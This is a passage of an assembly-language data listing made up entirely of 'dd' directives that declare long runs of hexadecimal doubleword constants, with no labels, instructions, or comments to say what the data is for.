		dd 76AD193Bh, 2549C43Dh, 143B3814h, 0D432F42Ch,	94F880F5h
		dd 0C5365FE2h, 609FE139h, 6474DECDh, 5392C238h,	56AA4E6Ch
		dd 4B5EB138h, 0FC0FE700h, 907AC41Bh, 0A1A4B75Ch, 0C89CF99Ch
		dd 6EEB3924h, 34EBE115h, 0C21B3925h, 0FF2162CFh, 0E09ACA75h
		dd 0EF7AEA6Ch, 0D21CDF11h, 257AEC09h, 9D01FEBEh, 61B16119h
		dd 54562FA1h, 197E391Eh, 0C5BB2415h, 0F47AEEC6h, 14AFEFBFh
		dd 6108391Ch, 2BA41C15h, 688FFF75h, 14572E15h, 0BB6B3912h
		dd 0C5A98DEDh, 95FE8513h, 0F8A4EE1Dh, 0A5E73910h, 0CD4D5215h
		dd 8601E4E8h, 0C6190DAFh, 0F77AC716h, 0DBDDC7CDh, 2E581F1Dh
		dd 0A6204A84h, 2E221821h, 8ED94560h, 0BB795E73h, 26F5E0B3h
		dd 2E5BEC91h, 0A69A0058h, 0CFF21923h, 49BCCB75h, 8B35C7C5h
		dd 447A1C17h, 0F1EABD5Dh, 0B9D0CC89h, 1032C466h, 0CB58F5CBh
		dd 79E12675h, 0CB91E0CBh, 0CD82BD75h, 5F51DAE2h, 621D38FCh
		dd 1B14A6D3h, 6E78EFA4h, 0C6BC0ABCh, 0D7502497h, 8FA2D8F4h
		dd 0CF9BEA18h, 814A38DDh, 0D7D4C3C0h, 0DDF507E3h, 0B02E4D9Dh
		dd 25113E4Eh, 40064407h, 0C0A5EF7Dh, 0C4F2EE70h, 0C507B509h
		dd 0F8B94E5Ch, 0E09946CEh, 0D49BE801h, 49784BF5h, 9682755Fh
		dd 477AE6DDh, 30EAA0B4h, 597D6211h, 0C04F08DFh,	6FB01B74h
		dd 1480713Eh, 0D577D2B9h, 0EB808789h, 543CEAC3h, 0F9C9FCAAh
		dd 9ABEC70Ch, 0CD2D58C9h, 0A9B34F99h, 81C6ECCDh, 0F9409CB6h
		dd 69773E09h, 72E5ED2Dh, 0D42D7E49h, 29FA7841h,	331EC9Dh
		dd 0F97E1CABh, 46B9A608h, 0E22EF129h, 5D1D7954h, 69371019h
		dd 0F99ABCEEh, 0F7BE0316h, 812ED089h, 0D933E0B5h, 0E1BD6891h
		dd 0BA8D437Ch, 0AABE5264h, 0C32D5852h, 273345CFh, 0B23CECCDh
		dd 0F940E1AEh, 2E85D90Fh, 0EC2D6132h, 0C3D015AFh, 0A8EE8B1Fh
		dd 0A6627B7Bh, 0DC04ED2Dh, 0F9C861AAh, 5AB1570Ch, 0E77131B2h
		dd 5C6270B9h, 69F31019h, 0F99901FEh, 8EBEA214h,	0C42EE112h
		dd 0E6A37CC2h, 0E73BED2Dh, 0E7D00DA9h, 0E2E2DADBh, 2C28E93Fh
		dd 4A1591B7h, 0BBEC40ABh, 191790D5h, 0A911239Ah, 8E39433Fh
		dd 6FB8A2CDh, 770B5C7Bh, 6FE17507h, 1DB2FD6Ch, 82B262E5h
		dd 0DC2391Ah, 927A9EC1h, 3FF212B2h, 690797DBh, 581A142Dh
		dd 0B732F5A7h, 0C2C86A59h, 8E55F0A8h, 675667BBh, 9E60EFA6h
		dd 95762AE2h, 0D7B49D75h, 0DFB30B9Ah, 57328DF4h, 0AA7CEAE4h
		dd 774C6A2Dh, 0F5EFB83Bh, 2FECB782h, 0D8ABF0CEh, 9AF98AA3h
		dd 7FE9922Dh, 7F32FD6Bh, 0AC8B7278h, 0BCD3F11Eh, 0F65E3A5Bh
		dd 0DFB30B9Ah, 0D7B40E1Fh, 12B0D03h, 2003F06Eh,	3B6FCAC1h
		dd 0BF7E132Dh, 0E7315D50h, 1ACCD473h, 2A54F05Fh, 0F5BE239Bh
		dd 18150332h, 0D0312E9Eh, 4A642A6Eh, 9144C22Dh,	2182CA7Bh
		dd 0FFB3099Ah, 5732FAF4h, 0FF7CCA84h, 774A6A2Dh, 0F65C87DBh
		dd 28CC9782h, 16E19C7Bh, 2F4E6A41h, 657F0D6h, 0F56CCCBBh
		dd 0DE6B5442h, 2703F0F0h, 3B8B0AC1h, 0FFBE122Dh, 7DBA7A49h
		dd 0D0ABF4BDh, 7F7AD59Dh, 6A53D05Fh, 0F5DB23DBh, 58151732h
		dd 0D7312EFBh, 0AF646AAEh, 9048C22Dh, 8292C8BBh, 876B6103h
		dd 6A52511Fh, 15DD2D7Bh, 0DA2B0442h, 0D302506Ch, 42CCAC1h
		dd 0BF8E122Dh, 45221A57h, 0CA2F27F9h, 0E33F7B0Dh, 5491E0A7h
		dd 0D7317B6Bh, 3FB74AEAh, 3F4CB22Dh, 7F314A86h,	0AC4B7200h
		dd 24D3F0BBh, 0F557021Bh, 5D0B14E2h, 0D7317B9Bh, 4FA8AA4Ah
		dd 5F56B22Dh, 0F5BD8A84h, 73AB5902h, 0D1F3F0EBh, 68EC97BBh
		dd 3F9A122Dh, 0B732DAA7h, 9FC80A01h, 2E53F0A8h,	0F63B771Bh
		dd 5D0B12E2h, 0D7317C1Bh, 0CFA8AA6Ah, 5F54B22Dh, 7ABC0A85h
		dd 6C51EDBDh, 0D5E175AFh, 0BBE498A8h, 3CFC40A3h, 7859E3D6h
		dd 6899FA3Dh, 8DEB9079h, 354F320Ch, 4088452Dh, 0A597D4Ah
		dd 7C8FF00Eh, 0EFCDA31Ch, 0C0BCC690h, 9C0BD9E6h, 65494D52h
		dd 5D4D646Eh, 0DDB7D982h, 7588AB26h, 0FE51E86Ch, 0FB109D08h
		dd 0EF476321h, 845FAFDDh, 9617551Dh, 49A90DDDh,	2B3AE56Eh
		dd 0B5E4C61Dh, 0A86CF14Eh, 0A7A1C83h, 0BFE27A2h, 0E30C6844h
		dd 5DECB2FDh, 591005Dh
		dd 8C16015h, 7B82C0CEh,	8BA4185Dh, 0A9A4ED3Eh, 0F48E211Dh
		dd 9FA4E72Eh, 7452871Dh, 0E12D141Dh, 130C5E44h,	308550DAh
		dd 30473C90h, 4B21033Dh, 0BD16D9Ah, 0F51569FEh,	0BF7A69EEh
		dd 0D8199765h, 7F09FFC1h, 131466FAh, 0ADAB14Dh,	7F8E009Bh
		dd 7FBF1892h, 5C693986h, 0F5151694h, 44CA6A84h,	961557F6h
		dd 4A941A6Fh, 9EAC0B30h, 0E2A63BCDh, 78AB5CFDh,	0BCA39A85h
		dd 0EF80E5B6h, 0DD2CDAC3h, 332BC680h, 2DF15399h, 29A1435Bh
		dd 0E96741EDh, 0ACAD6B1Eh, 8F130B0Dh, 76594799h, 0F57963C6h
		dd 0DD92F618h, 1996DB22h, 35623388h, 5DAE2E1Eh,	7B1E5D6Dh
		dd 0DA814A52h, 7CC904B4h, 0FBB86DCAh, 4D0D84ADh, 8E0E2F75h
		dd 56ABDC4Ch, 0BD20BBA6h, 97D422A7h, 7F0925D1h,	402015C2h
		dd 88EBEAEh, 73F17732h,	78CA1A4Ah, 0A4FE4782h, 75D8124Dh
		dd 0E4DAF566h, 0DA802769h, 1CDD742Bh, 901761A4h, 2BEA27B1h
		dd 9ABB5A1h, 4D8A4991h,	742ABB81h, 7CC69C2Ah, 48D55E35h
		dd 3412CB56h, 0CA0C53C5h, 1EAFBF75h, 8C02A8CFh,	3827B434h
		dd 55953E28h, 75C92DD6h, 161B9A4Eh, 7E39C0E1h, 0FFD2DC44h
		dd 44028142h, 4541E07Fh, 0DB961CA2h, 92D53B5Bh,	2DBA10BFh
		dd 0B202B0D9h, 0F5BD3688h, 952082A0h, 3C42BF9Fh, 0D22F29Ah
		dd 21950D9Ah, 7F1A4485h, 5DAA7489h, 0EEABD891h,	361D9CAFh
		dd 3455DAFBh, 15E96F8Ch, 0CCA06224h, 0F7AB14ACh, 34AB051Ch
		dd 0C6336A61h, 4DBF6A51h, 10062918h, 4591BE90h,	46ACA83Dh
		dd 1BDFD819h, 8675F691h, 3937B57Dh, 5865B575h, 3A017799h
		dd 2B82A5DBh, 78B9C91Ch, 78A91892h, 0DA326CDCh,	5637E068h
		dd 0ABA26F89h, 0FD10D334h, 0E62C6854h, 0AFE6C584h, 9DAED84Eh
		dd 0FE777495h, 1DAB6FBDh, 0C4A4DA6Ch, 0AC706C84h, 6B2CD99h
		dd 6B944CE1h, 5BC283ADh, 81D6411Ch, 65BCEDEBh, 0CD8D7CCAh
		dd 2A70A63Dh, 83BAEF9Eh, 9E727E6Dh, 7C9E101Ch, 8AD9889Eh
		dd 6D5279Eh, 7AC6E08Ah,	8DF690C1h, 61B0109Eh, 0C56C5838h
		dd 0F20465C6h, 0E3E1E865h, 9BEB1E98h, 0E1DB5A66h, 0D520D283h
		dd 7C34007h, 22A76552h,	78A6A0F9h, 0DFF26F4Fh, 6B2EEA02h
		dd 0CB7AE507h, 82682C99h, 0CE9AA758h, 6B08CFD4h, 7230EFEFh
		dd 5647532Ah, 58294580h, 736D981Ah, 9FC4A58h, 23A48629h
		dd 8BEF1F61h, 83CEEB9Fh, 70CBECC6h, 4C3B8A34h, 0F94F959Fh
		dd 16C2E0EAh, 0D345111Eh, 239AD14Eh, 512A7B1Fh,	0F9882780h
		dd 0F4AC24F9h, 0AB5858D7h, 17174AF8h, 0B8FAD0B9h, 38695607h
		dd 4DB77A97h, 70049BB4h, 0B686FE98h, 1D750110h,	3E4F1FE6h
		dd 0F29FE525h, 0C3BF513Eh, 0DF329760h, 8BD2A832h, 0FB355216h
		dd 0D3B9048Ch, 0A411B290h, 34D67544h, 2DCDB4B0h, 0D8A70A37h
		dd 3A01DD40h, 0CB02171Ch, 0DC79AD61h, 0FE037C7Bh, 0E996D39Dh
		dd 54C858CFh, 0A231E5DAh, 0B2713E23h, 0F0879BDAh, 4C20B12Eh
		dd 0BC1BDECBh, 8ACB6612h, 0B4E086C1h, 7AC71830h, 853AA825h
		dd 3750B8C5h, 0E07AE361h, 6763629Fh, 44F6557Bh,	104427A0h
		dd 8994C5CFh, 0DAE14777h, 0F13CA634h, 0D7FADC2Dh, 3A9CD59Ah
		dd 4B8F8D34h, 432E326h,	0C3CDFCD5h, 0CE9BE2F6h,	0C2CEEB1Ch
		dd 2E333EBEh, 113FC5DFh, 0C4487326h, 0C8AE7EE6h, 0FD5C4DEh
		dd 2F24A4BDh, 0A03E04B6h, 41231D83h, 0F93CF49Bh, 0AD1DFFDEh
		dd 14E139DCh, 0DE836420h, 0B904EBBFh, 3CE541E1h, 1817716h
		dd 22904BD7h, 7235E2DFh, 640C6E99h, 0F9AB4026h,	6C7DC7CFh
		dd 749C323Bh, 97D3914h,	0D4FAC7F2h, 856DCE74h, 2147A2E9h
		dd 89AC6809h, 98C313FDh, 0CA32028Ch, 66812A2Ah,	3C8C685Bh
		dd 0D492DEFFh, 11ED54C4h, 6F7D2A1Bh, 6367A496h,	6A436530h
		dd 0A64A65A5h, 0A54032F8h, 1B6989F3h, 69736DE0h, 0DFC28272h
		dd 85DD817Fh, 37875392h, 52A8A756h, 748B5387h, 800447F2h
		dd 0D835029Fh, 0E6ABD8AAh, 10DA8248h, 9C663254h, 10D99599h
		dd 0DEAE4F9Bh, 0F60595A9h, 74A2029Ah, 5ED26F71h, 7DE24E64h
		dd 0A0439B63h, 0C8C8B767h, 2CD8DFB5h, 0DDF231CFh, 0A6A3F5D7h
		dd 3523ECA6h, 9ED46E70h, 0C314BE5Fh, 2E00D5F1h,	5EA6319Ah
		dd 69171E64h, 7C1A094Ah, 0CDD84C9Dh, 0B06295E2h, 0BEB2AA74h
		dd 50F8E516h, 47DF6346h, 8620AC16h, 0AB71695Ah,	0EB0B68C2h
		dd 53FF6480h, 9C3FEA97h, 888A2A9Ah, 4CDBBE9Dh, 4D91DEC0h
		dd 7958FE3Bh, 660904E8h, 1EACB60Eh, 213F089Dh, 7B63E026h
		dd 7BA8E0B2h, 4972DA47h, 0E3C6996Ch, 0C1996CCBh, 0A62B91B0h
		dd 0D7D856CCh, 48775F23h, 0F511EB03h, 76221297h, 48536AD9h
		dd 46148907h, 0A5A6F82Ch, 76A59C38h, 0DE23D05h,	31F9B196h
		dd 45923ECDh, 8582F022h, 9DC6732h, 8FCD8846h, 4D2E7199h
		dd 978D075h, 0C6076213h, 649698FCh, 0C8863CEh, 456F18Bh
		dd 0A2446ECFh, 4BB89005h, 0C5549E5Ah, 0C142630Ch, 0FD53177Ch
		dd 0C1406342h, 9D7F176Ch, 0F3BD63B0h, 9A2F21DCh, 40E2735Ch
		dd 0E721506Ah, 41D94D8Eh, 0C7A0E9ECh, 0D56AD604h, 0DA51DD76h
		dd 15E2DC07h, 0C5AED592h, 0EAA51345h, 0EF5961C2h, 3DCD598Bh
		dd 0F9DCE94Fh, 0EAA6BE82h, 84339B08h, 54FAA32Ch, 563530E4h
		dd 874360CEh, 6796B06Fh, 0ED7964CEh, 8450072Eh,	0ED22D1FAh
		dd 4BC9188Dh, 9DC2FFFAh, 0D6E8DD55h, 2E35D0F3h,	0DC310785h
		dd 99D2D1FAh, 3F3295C0h, 0ED0CF68Fh, 0CDD690FBh, 56723909h
		dd 95CBE0D1h, 0CCE78688h, 0FB7311B4h, 0FF6B080Bh, 0B82E1775h
		dd 0D19B83B7h, 0E8DAF4F9h, 8FD99090h, 0FE7CE87h, 0A7F9904h
		dd 0EA26F22Ah, 7378CEB5h, 754B2E9Fh, 171FB545h,	2E2E86ADh
		dd 30B3B6DFh, 32096C2Dh, 6BBAF5F9h, 0CFD99E24h,	495D7FE5h
		dd 0CDDAE09Dh, 77831A9Bh, 0D5727BCDh, 16C14C5Ah, 2512B7BAh
		dd 0B8BAD219h, 505D1864h, 0C03D1B6Fh, 9C3F929h,	587902C6h
		dd 97A556A8h, 9DFDB2Eh,	77D69F29h, 11BE92CBh, 6838564Dh
		dd 0B4D3B6ADh, 0BB521F1Dh, 0D0813796h, 0FF31B4D5h, 242A590h
		dd 199A2189h, 1F44096h,	8A4F8E3Ah, 95FFFB03h, 70EBABF7h
		dd 0E7B04CF8h, 0FCF7075h, 50B5E2F1h, 5E51CEB9h,	2E0CDD94h
		dd 0FFD6937Ch, 1DDE4E89h, 821D21D1h, 0F80E4A37h, 16C2B870h
		dd 61D87CECh, 5E650837h, 0B25D84D3h, 0A85D9191h, 23E5E6F9h
		dd 2292F819h, 0A1FAF827h, 0A579672Ah, 0F45ADD21h, 82A7F10Ch
		dd 0B5C7523Fh, 0CD1421C6h, 0CB999E1Ch, 595F5F3Dh, 0B44FEFE4h
		dd 0CB9CDAD8h, 341E140Ch, 7305DFE0h, 0EB21D3CBh, 6F211F26h
		dd 1DEDF557h, 0C00A9121h, 9871CDF8h, 0F5E1F6B5h, 0D40D50DAh
		dd 1E865BF5h, 0AAE8A79Ah, 0A1F6B899h, 0BB733C28h, 0F8B1E9ABh
		dd 0FADA7939h, 3399E4E6h, 0C959664Bh, 444165E5h, 7BF9FA74h
		dd 0B138AD25h, 0C07AC316h, 0CFA677AFh, 933503ADh, 4002E148h
		dd 0A7A4077Ch, 50DF1F19h, 0C7CD1E7Dh, 93D179A5h, 4A18E16Dh
		dd 0DCFCF55Eh, 4F1008C8h, 0D75CF4E1h, 0C0E5F653h, 0B74A5794h
		dd 1CE5031Bh, 94ED665h,	26AD63AFh, 567D8B78h, 34D87AC1h
		dd 0D1EDEB9Dh, 37EC5E00h, 0AE048431h, 0FE6766F8h, 4A42DC0Ah
		dd 0C5CE1E9Ch, 595FE689h, 1A0173Ch, 8E1A442h, 0C2E0E776h
		dd 0A4CBC7CDh, 0B81226B3h, 0D93E482Ah, 8536AD3Ch, 0BF860D75h
		dd 45C2F41Dh, 16969A89h, 7DA65FDDh, 0F21D0B93h,	0D67CC88Ch
		dd 94AEDB68h, 0ADE1AB3Dh, 1D9C56C5h, 6C46B596h,	5DD215BFh
		dd 2F399FB3h, 0EC56C610h, 0ECE2A988h, 0A055D334h, 0D6BF854h
		dd 79D44A51h, 82EDF9Dh
		dd 0D5A1CD89h, 32DDBB0Ch, 5DDFFBF8h, 0AD076005h, 0AD73B58Ch
		dd 440CDE51h, 935E1CADh, 44C08B4Bh, 44ECA8FCh, 2328C0A5h
		dd 0DF5EA72Bh, 0D27D01EDh, 0C9307CCCh, 40E18B4Ah, 0CD97CC99h
		dd 0EE2FAF35h, 850EB0EDh, 5CE3FA75h, 0BF9ABC7Eh, 8994EBDAh
		dd 3DD403C4h, 2A4EC4B9h, 0E24FC278h, 0A7C81B6Ch, 65DD68BFh
		dd 52ECFA0Fh, 6A414590h, 0F47B9E1h, 96235121h, 0FA255B8Eh
		dd 0FCD85FC6h, 0FBA6CA12h, 73ECEBC7h, 0F12ED2Eh, 3E0E6DC4h
		dd 6DB7B54Bh, 70F5FD4Dh, 0B31F3EADh, 0D64E7C52h, 78465057h
		dd 5A5BF9E9h, 725DFD22h, 0EE53B528h, 0DBB80BF1h, 9DD1FD3Fh
		dd 99428479h, 1F1DA0F3h, 2281CBB2h, 63E05D91h, 75567F35h
		dd 0EEF4E3D1h, 9BE4ED99h, 94A70F4Dh, 0F0765509h, 91FB30F1h
		dd 80CDCF1Ch, 0EC3DCB3Dh, 997FA702h, 160B1C64h,	4319F9EEh
		dd 0B8E28D1Fh, 7F255835h, 0F6254C91h, 0BEB81F9Ah, 60F81944h
		dd 0F1C57170h, 0A3467132h, 0DAFCA020h, 0E5F3C8E5h, 0C1ADE0F8h
		dd 92BDAEDEh, 2DEA20F7h, 4E82A5CBh, 0E58B5DE4h,	69D26DDBh
		dd 79256DA9h, 328B3CC4h, 807EF4Bh, 6D770D20h, 802434BFh
		dd 2056DCBDh, 9B07E16Ch, 2E44C788h, 0F8317C8Dh,	9D509A4h
		dd 0DF9E5E9Ah, 200343ADh, 0C567D137h, 9DE77FE3h, 71100DABh
		dd 0E8A9984Dh, 0F52EC1DCh, 9F45BF4Eh, 5FD3E08Bh, 45645E28h
		dd 1A17B7D0h, 0D804CDC2h, 0EA3BF0DAh, 27EC906Ch, 0FF6F56E1h
		dd 93384256h, 3BCD6D02h, 5FEEE8D1h, 97F3F91Eh, 0CE96566Fh
		dd 40055319h, 7ACBE5DDh, 93171F94h, 561B9355h, 0E2CD50C3h
		dd 0FEA9F3A6h, 0C72E13Eh, 8623C4F8h, 0E2E0B665h, 34EBE4C2h
		dd 5C55386Bh, 4DE734C4h, 0FE2902Ah, 0D744DEFAh,	7364C53Eh
		dd 523FED94h, 0E8464BB0h, 0F573C30Fh, 453ADBFh,	7B4BC224h
		dd 0C4B8F73Bh, 0D783E5A3h, 0FC384E7Ah, 51C9E087h, 0BA4D516Fh
		dd 39B7DEB0h, 0E70081AAh, 4122E13Dh, 5CED7FF6h,	0AA5AD36Eh
		dd 0B5634E42h, 0EDD38712h, 0C3E16290h, 3E53AFDBh, 27D06640h
		dd 504F84E0h, 0BF8232E2h, 95144BC8h, 8CE0EF19h,	2449827Bh
		dd 0C81193D1h, 0C615993Fh, 0AA263EB5h, 0EF28DFDCh, 0F2292EE5h
		dd 59E7B8DFh, 53EB19DDh, 8167435Fh, 7CCF928h, 989FE094h
		dd 21D1DE2Dh, 7A2C1A8Eh, 7F0E9044h, 0B90C3B06h,	0F97A5E35h
		dd 88B0C3D1h, 0C566F925h, 432E1F1Dh, 0ADDF0730h, 0FCB61F02h
		dd 0C05EED35h, 8600E09Ah, 426DED02h, 0A528F699h, 0D34EC1E5h
		dd 8252745Ch, 5519CCCCh, 0ACD09004h, 4BDA1AFBh,	71A7188Fh
		dd 1175FBEEh, 84EE5CB2h, 0C758ED52h, 0FCEE0D89h, 0FCE0C1D9h
		dd 0D27E4083h, 0AD790F40h, 5E6784h, 7B36F54Ch, 1BB8AF74h
		dd 0FF879488h, 74A70153h, 1B9CF58Bh, 0D4ECC148h, 3BDDCE5Dh
		dd 8A783DF9h, 0A117EEF4h, 8E609546h, 0D6E9779Dh, 0E5F101E7h
		dd 0B9CB22C6h, 4E354E30h, 29AA6490h, 16E187E9h,	0A94BB677h
		dd 0AE36EF11h, 2F8EEA9h, 232EE6F1h, 8366C42Eh, 0FE5E9C1Dh
		dd 0C5F974F5h, 0D1ADFDABh, 0BAE0DEBCh, 59501C5Eh, 691D641Eh
		dd 0FAB0A064h, 4DEC059Eh, 45C02CEBh, 0E7E04DADh, 0F5DEECAAh
		dd 5914464Bh, 55337F84h, 0AE7BC85h, 8C9220BAh, 7320B57Dh
		dd 0B2436602h, 0CF5EF073h, 0B7F25116h, 0E32AC0EFh, 0C2E1F08Bh
		dd 0EFCE51Dh, 7B50191Bh, 0CD39E096h, 3B38CF19h,	0C5F81D0Eh
		dd 0E0FCAADFh, 0DD7EF2Ah, 0CC38ECA8h, 0D69A9E15h, 88F96ED6h
		dd 0E3EC921Fh, 83F0B525h, 0BE95706Ah, 1D53CE0Fh, 0B4E41EA8h
		dd 70F2C899h, 0F85DC210h, 911A720Dh, 0F5769318h, 0D6DE024Eh
		dd 0D65C5E1Eh, 409FB150h, 14EE5209h, 0E30330F8h, 0F40AC44Ah
		dd 56312321h, 631DCCEDh, 44B5A30Ch, 0E2CDA0B9h,	93B6391Ah
		dd 474E5F40h, 0E874B786h, 0D7933935h, 7FDCEB60h, 0F425100Bh
		dd 8182E68Bh, 8525E2E8h, 0C332B350h, 0B2F4CC4Ah, 0DCA13947h
		dd 0EB0C5115h, 68F0A38Ah, 9311EA0Fh, 6758A38Bh,	733D16E7h
		dd 0E9B3C77h, 11E4DBFDh, 0DDB1D70Fh, 0AC8B3E67h, 0CCE1F41Eh
		dd 0C81D7DCDh, 0D2250A9Fh, 0C0478924h, 0FE2C6635h, 0CED9DF37h
		dd 9EDC0BA0h, 4DE9250Ch, 15589C30h, 0BBD351CAh,	40CADAFAh
		dd 837F60Bh, 4B25E488h,	1494A3EBh, 40BDC0E6h, 6D961AD8h
		dd 249C065Eh, 0BFF3F7B7h, 0B8011816h, 785DAC3Ch, 18A13503h
		dd 0D02C80B4h, 0DB511480h, 0F9D75465h, 48819F97h, 0DC3E1F4Ah
		dd 0FC5DCC7Dh, 53CF5E75h, 4358B3DCh, 93113610h,	45269255h
		dd 14196114h, 45558B4Eh, 63D9D825h, 5ED36F0Ah, 2698050h
		dd 0F942B882h, 13229BB7h, 0DCB58A4Ah, 0E0DB681Eh, 0F8262B97h
		dd 0C9CEC421h, 5E5DB5FBh, 3256A9DEh, 0AE3FC13Eh, 4120E58Bh
		dd 2B981ACBh, 963D7510h, 7DBAC728h, 4C7F109Eh, 707A1CE3h
		dd 7B9A82E3h, 0B65ADBC1h, 0C667C87Dh, 0BE479ADCh, 0F36EBC2h
		dd 0D512E189h, 5B01C175h, 8DC4C763h, 0FD26BC80h, 642DF8C0h
		dd 58E5E050h, 0B69E670Bh, 0FE1C6FE6h, 70C0EF3h,	0E7E2202Dh
		dd 61B17F7Dh, 32F77235h, 4D476A5Dh, 0DF93ABFDh,	5887654Ah
		dd 0BF3C55E4h, 0DC6A166Fh, 0E2216E43h, 490EE228h, 0DA78FD9Eh
		dd 0DDDF9E05h, 0C80C5F02h, 0F8CDD597h, 0A5466568h, 0F9FB4E00h
		dd 392645C7h, 0BDCDD616h, 0CB47C3FCh, 6D907E82h, 8BA1ABF9h
		dd 9E9AEC3Dh, 0F1EBDD19h, 57E8AC9Dh, 7BB8B7DAh,	0A603E894h
		dd 6AEE38E2h, 93EBB431h, 0A1EDEAC3h, 0C8F97E83h, 4CE2AF1Dh
		dd 9F212F99h, 86045C35h, 0B9910899h, 5A53D380h,	0EF0FCF58h
		dd 763D8CD3h, 0C2CA711Fh, 0FA22F2DBh, 31995B18h, 99E87E34h
		dd 67741E10h, 0B2FFD5CFh, 0C1A38271h, 6EAED38Bh, 0BBA82163h
		dd 7E05ED16h, 5CDBC537h, 4DEA723Dh, 0F5D87926h,	0AB873317h
		dd 0D73F1FC5h, 9849F05Ah, 595E8B8Dh, 69AEDFE2h,	0F6593F5Eh
		dd 5A16E11Ch, 12A4C63Ch, 0D88768B9h, 94DF6810h,	9911A015h
		dd 0E83E2581h, 82DAFA94h, 22E0BF93h, 7338FD23h,	1A2481CCh
		dd 0B59DD859h, 0D534BEFEh, 0A419410Ah, 5A516B7Ah, 0F6A0D9ABh
		dd 44288CE3h, 6B350A17h, 38C5AD34h, 57828CF4h, 4A7AC1Eh
		dd 2CEB651Bh, 49A73E35h, 8BF5F79Dh, 57A5FA61h, 0C4DD5A28h
		dd 0C95C7B00h, 0BEE99E4Bh, 0B15AE513h, 0E8CDC0A1h, 0FB06BCE0h
		dd 9BCF4175h, 31ED1906h, 0D836B818h, 89A445FDh,	44DA71Dh
		dd 98DB73B5h, 69EBE3A1h, 0E25CDC56h, 0FAB69D09h, 71E99FD9h
		dd 1412D926h, 7FE1CEF7h, 5DD4678Eh, 24D827h, 2F84AEBDh
		dd 63612C5Ah, 0F632189Bh, 0ADC4F1B1h, 0F827BCFCh, 0C42C7C1Dh
		dd 0EE06E44Fh, 0B725F3F8h, 2BB83Fh, 2DC09E9Ch, 5A0C7EDBh
		dd 47E124E1h, 60436C07h, 33CAED80h, 395B65D9h, 82AD0C14h
		dd 0C532EF53h, 59FEAAA3h, 30935CE6h, 0B2387BCFh, 0D4686705h
		dd 2A2CD054h, 44BC8007h, 3BD546DEh, 0E6145175h,	7A5AD0D9h
		dd 61D44CF5h, 6F3075D9h, 0C36A8FA4h, 80D2EE76h,	0E36DC034h
		dd 0BBA73744h, 47E15CA5h, 39D5B86Eh, 64832007h,	0B3ECC391h
		dd 0C8CAF46Fh, 0B6806897h, 0C0AC9924h, 79434080h, 55B26A30h
		dd 657711E7h, 44E0AF9Dh, 4B22B0BDh, 0CD221107h,	54D95098h
		dd 0D8B99B1Fh, 71D6C0E1h, 865AE307h, 84C72C1Eh,	0E8B83802h
		dd 6FBFEC9Fh, 0D421701Dh, 4B363532h, 43FB52DCh,	3FE79C49h
		dd 0DACFEE2Bh, 2735A2C0h, 71348128h, 0C1013924h, 10C29C25h
		dd 0E8307494h, 330D9F43h, 2DEF20D3h, 0A5B681DAh, 0B6BF7FE9h
		dd 0E4D45790h, 0C5968718h, 0C47B39A0h, 0A8841C99h, 6A7BE91Bh
		dd 7E2EEFE9h, 8F7C501h
		dd 4F2E7B71h, 0E6A23D51h, 85C27C1Dh, 6F45DB29h,	99CA2E80h
		dd 0CD1725C1h, 13AB663Ch, 0BBB510EDh, 7C6A5975h, 0D6AAF135h
		dd 0EC11FB14h, 89A08089h, 776A462Ch, 0A78CD910h, 71F3A6D1h
		dd 0C0B86B99h, 433D8CC3h, 82A0AFCBh, 918F327Ch,	0E1E1D49Ch
		dd 46017E9Ah, 21CD2768h, 2B51B494h, 0C649ED91h,	8D58B4B8h
		dd 0E9121E17h, 0B6E650A1h, 0FA0E922Bh, 0F2916D12h, 0F24F45A9h
		dd 736BC6CBh, 83A6086Dh, 8FB5808Ch, 3BA06F97h, 91AE2EA3h
		dd 6918DFABh, 0D87A966Ch, 34B6E4BFh, 745DE7C9h,	750BDB63h
		dd 56D7E5Bh, 2619272Eh,	0D8E1F906h, 2E22D7C5h, 15C5D731h
		dd 0D4C0ABF4h, 93A36740h, 346A89EEh, 0EA588C29h, 2A3BEA55h
		dd 0D7D04C2Bh, 0E6190B3Eh, 0B0C29910h, 0D43E2F42h, 0D0A7A383h
		dd 8E85305Ah, 0F3F682C5h, 257ADF4Ch, 0B289FDF1h, 0BAD17D05h
		dd 2DEB1FF7h, 0CF203CDFh, 0E7F69844h, 925A666Dh, 2E590D17h
		dd 305D1510h, 0D73DCDBEh, 0BE9283ABh, 411BDB21h, 0FF1616CCh
		dd 398D947Dh, 4C184C21h, 4153C73Fh, 8E1153F6h, 0A1F7206Dh
		dd 0C1EE8F92h, 8E219AD3h, 96DAE075h, 46581CE4h,	562F9E61h
		dd 59251981h, 227FF00Bh, 8C32280Fh, 0B784986Ah,	436B1041h
		dd 0A96A858Fh, 0C649460Bh, 26FD9AF4h, 81ABE02Eh, 81A78DE9h
		dd 37E2B329h, 0C300A08Ch, 0C192B040h, 23311FE3h, 4805583Eh
		dd 0F491D648h, 543E8BDCh, 9E2D8CAAh, 25DEDC93h,	82DE5310h
		dd 0C9034F95h, 0A992CD4Eh, 0E0AC4C17h, 39E0F9BFh, 9312B9CBh
		dd 1A8004C9h, 0CC80ABB1h, 0EDC43C21h, 9800A94Eh, 0D3B3C7D7h
		dd 8B6FB933h, 0F7976C12h, 0F453D0D9h, 9097B85Dh, 87CAE148h
		dd 6625D834h, 0BFC9B9C4h, 71794CDCh, 43BD2ECBh,	69533C1Dh
		dd 0F2AC179Dh, 0A85B003Bh, 205ED971h, 933001D2h, 121B6769h
		dd 517923A3h, 629BF8C1h, 4D9D1641h, 0F776990h, 4ED8EC11h
		dd 0C811E510h, 0E307682Ch, 51812A9Dh, 54DA9109h, 0EBCEDCADh
		dd 8D86636h, 0ADE21C8Ch, 556EBA83h, 0D64349DCh,	6A6C9689h
		dd 1A3E0119h, 0A7E2FED4h, 193F62E8h, 0A5E0B0D0h, 0C4F16BBBh
		dd 0ED285E1h, 2E92B70Bh, 36172E98h, 0D2FBBF1Bh,	269910C1h
		dd 0D49B9F23h, 0E566A94Dh, 4C3692Ch, 0CA56B0DBh, 620EB8E6h
		dd 7FA247B3h, 1FEB46BDh, 0A01FA827h, 64875FF8h,	93D7BF78h
		dd 0FF3DDA1Ch, 0B620E4CAh, 0DA27DC79h, 861869D5h, 7B5085CBh
		dd 85E83878h, 0EE4A28Ch, 76256B62h, 86CB65D7h, 0EB5E2A2h
		dd 0CBA09019h, 0A5C82BE2h, 0A3DF6B59h, 246C510Ah, 0A5EC8FBDh
		dd 0B5ADA975h, 0EC7AE533h, 7E83B9D9h, 0BD7AA718h, 446651B1h
		dd 0CBFCDB1Eh, 0BF428974h, 4FC52DBAh, 0EF0E393Dh, 0B45751D7h
